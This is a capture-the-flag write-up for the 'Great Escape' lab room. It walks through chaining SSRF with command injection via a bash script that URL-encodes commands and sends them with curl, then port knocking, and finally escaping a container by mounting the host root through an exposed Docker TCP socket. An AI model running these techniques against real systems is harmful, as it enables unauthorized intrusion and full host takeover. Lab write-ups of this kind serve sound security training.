**THE GREAT ESCAPE WRITEUP**

This room personally took me down a large learning path with regards to Docker. This is my first docker room where I had some idea of what was going on; thanks to THM room, Docker Rodeo. This room gices space to practice SSRF, Command Injection, git and Docker escapes along with visiting some security

configurations that administrators may apply.

As usual, with our assigned IP address a port scan is in order.

***sudo nmap -Pn -v -n –reason -A –disable-arp-ping -g 53 -oN Escape\_Ports –version-light $IP\_address***

A break-down of the flags used

sudo : run a priviledge scan making -sS the default scan type

-Pn : assume the host is up

-v : show more information

-n : do not perform name resolution

--reason : state why nmap classified a port state as shown

-A : an aggressive scan includes default scripts, service version probes and OS test.

--disable-arp-ping : part of the host discovery process;

-g 53 : make all nmap traffic come out of port 53 (DNS)

-oN : normal output and save as Esacape\_Ports

--version-light : do a light version probe

Our Nmap results showed that Port 80 for HTTP and 22 for SSH are running but SSH probes /scan is producing results that are unusual; more on this later. Navigating to the webpage – Photo Classrom - we see it is a platform that seems to promotes photography. Maybe a file upload attack vector?

Enumerating the webpage, we find Signup feature that has been disabled. A Login feature but we don’t have any valid credentials and common such as admin:admin don’t work. The source code doesn’t have anything interesting either. Our Nmap script for HTTP showed a robots.txt file that contains

/api/

/exif-util

/\*.bak.txt$

The Api end point we see in the request when we try and login in with common credentials – admin:admin. Lets see what the exif-util is hiding. It contains a hidden feature; maybe still in development. It allows users to upload images and shows their meta-data. Files can be uploaded directly or using a URL. There doesn’t seem an ability to upload shells or any other arbitrary files. We test the URL feature and it does work. Let’s test for Server Side Request Forgery. Before going down this path we can brute-force for any hidden files/ directories using ffuf/gobuster etc.

***ffuf -u*** [***http://docker-escape.thm/FUZZ -w directory-medium-list-2.3.txt***](http://docker-escape.thm/FUZZ%20-w%20directory-medium-list-2.3.txt) ***-c -ac [ optional filter out any results ]***

*-u the url to brute-force against*

*-c : color the output*

*-ac : auto-calibration [sometimes messes up scans so optional*

*­­‑*We notice that no results are being found and it looks like the system has been configured with a rate-limiting security measure meaning brute-forcing is out of the options.

We’ll carry out three tests just to make sure. We open a netcat listener on Port 80 on our attacking machine (in case there is a WAF in place or other measures blocking outbound connections on the server)

***nc -lnvp 80 [ may need sudo depending on your user ]***

Then in the URL feature, we try and connect to the listener

<http://$attacking_ip:80>

We get a connection back. Great looks like we do have a SSRF vulnerability. We run another test to see if there are indeed any security measures in place. This time we set up our listener on port 8000.

***nc -lnvp 8000***

A connection was received back, meaning no outbound connections are being blocked. We run our final test, can we fetch a file? This time we use the HTTP schema. We open create‑ a random text file and open up a python HTTP server on our machine.

***python3 -m http.server 8000***

We fetch our file;

***http://$attacking\_ip:8000/$random\_file***

No connection was made back for some reason. Lets see if there is any application listening on the server. We know the file request format <http://$ip_address_docker/api/exif?url=> We can abuse this by specifying the localhost IP and brute forcing port numbers in order to find listening services.

Burpe Suite of Ffuf can be used for this. We only find the API listening on port 8080. Nothing more we can do hear. We take another look at the robots.txt file. The .bak.txt file may mean that there is a backup for one of the pages.

/api.bak.txt

/exif-util.bak.txt : Bingo

/login.bak.txt

/index.bak.txt

We find a reference to an internal app along with its port; let’s see if we can reach it. We assume as it’s a backup of the API in use, it will follow the same URL format.

***http://$ip\_address/api/exif?url=http://api-dev-backup:8080/exif?url=/etc/passwd***

It looks like there is some sort of filter that is in place. Let’s carry out another test for command Injection vulnerability.

After testing we find that we can chain together the SSRF with the Command Injection using

***http://$ip\_address/api/exif?url=http://api-dev-backup:8000/exif?url=;ls%20-la***

Commands that are multiple characters with spaces need to be url-encoded before being sent. We could use online tools in order to encode each request but that will become incredibly tedious and we are lazy so time to practice some scripting skills. A useful utility in Linux for url-encoding is *urlencode.* It can be installed via *apt install gridsite-clients.* We’ll use this in order to carry out a bash script.

***#!/bin/bash***

***target=$1***

***while [ 1=1 ] #creates an infinite loop for the injection process unless cancelled by Ctrl+C***

***do***

***echo -e -n “Enter Command: “***

***read command***

***encode=$(urlencode $command)***

***echo -e “\nEncoded Command: $encoded\n”***

***curl -s “http://$target/api/exif?url=http://api-dev-backup:8080/exif?url=;$encoded”***

***done***

The script is executed by ***./command $target\_ip*** The script will essentially take the target IP address one time and then go into an infinite loop of encoding and sending a command to the target (there-fore we won’t need to run the script from the beginning each time). Now we have an interface to talk to the target. Let’s enumerate. We can not get a reverse shell as the filter is blocking words such as bash. Looking into the / directory we find a *.dockerenv* a sign that we are in a docker container. We find out also that we are running as root (id) which means that we are potentially in a privileged container and have more options to escape the container at our disposal.

Looking in the /root directory, there is a hidden git folder and a note saying that the root flag has been moved out of the container as a security precaution. We also find a user and a possible password.

Heys,

Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I’ve deleted the stuff.

Anyways, the password is fluffybunnies123

Cheers,

Hydra

We can try use in the web applications login feature but they don’t work. We try to use them in SSH but we get some weird symbols back. We later realized this was a security measure called a tar pit and is used to deter script kiddies from attacking the SSH port while actually setting it up elsewhere. The user is held up before getting discouraged. More information at <https://nullprogram.com/blog/2019/03/22/>

Time to enumerate git. Because or script is not persistence in the sense that we cannot send commands one by one they need to be chained together we run

***cd /root;git logs***

This will show commits. Looking at the commits we find a reference number for a commit that looks interesting. Using the

***cd /root; git checkout <commit number >***

We find a changed note and the docker containers root flag. We get introduced to the concept of port knocking.

*Hey guys,*

*I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin.*

*Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port.*

*Cheers,*

Port Knocking is a security measure that is used to secure a server. Sometimes it is used with a firewall. It is a way to identify users and make sure that they are legitimate. Ports are closed on a firewall by default. A pre-defined sequence is set and if a user attempts to connect using this sequence, the port that is supposed to be closed becomes open, so in order to open the docker port we need to knock. (can be installed by apt install knockd) for Parrot. You can find out more concerning port knocking here <https://www.interserver.net/tips/kb/what-is-port-knocking/>

***Knock -v $ip\_address 42 1337 10420 6969 63000***

|\_\_ will port knock with the above sequence

The Docker port should be open, by default on port 2375. We can do a nmap scan soley on that port or we can proceed with attempting to connect to it remotely using docker.

***Docker -H tcp://$ip\_address:2375 image ls***

-H : specifies the remote Host

tcp:// will connect to the remote target using the TCP socker

image ls : will list the images on the container.

We see that the alpine image is available amongst others. I have test this with alpine:3.9, nginx:latest, Debian:10-slim and this technique works. Feel free to attempt with any others. This technique involves mounting the host OS into the docker container and then logging in.

***Docker -H tcp://$ip\_address:2375 run –it -v –rm /:/mnt/host alpine:3.9 /bin/sh***

|\_\_ run : execute the following commands on the OS

|\_\_ --it : make an interactive shell

|\_\_ -v : mouting volume

|\_\_ --rm : remove the container after the user exists

|\_\_ /bin/sh : open a shell after execution of commands

We get a shell and if we change directory into /mnt/host we have the entire host OS mounted. We can go into the /root flag and get the actual root flag.

Phew! This was definitely an interesting room.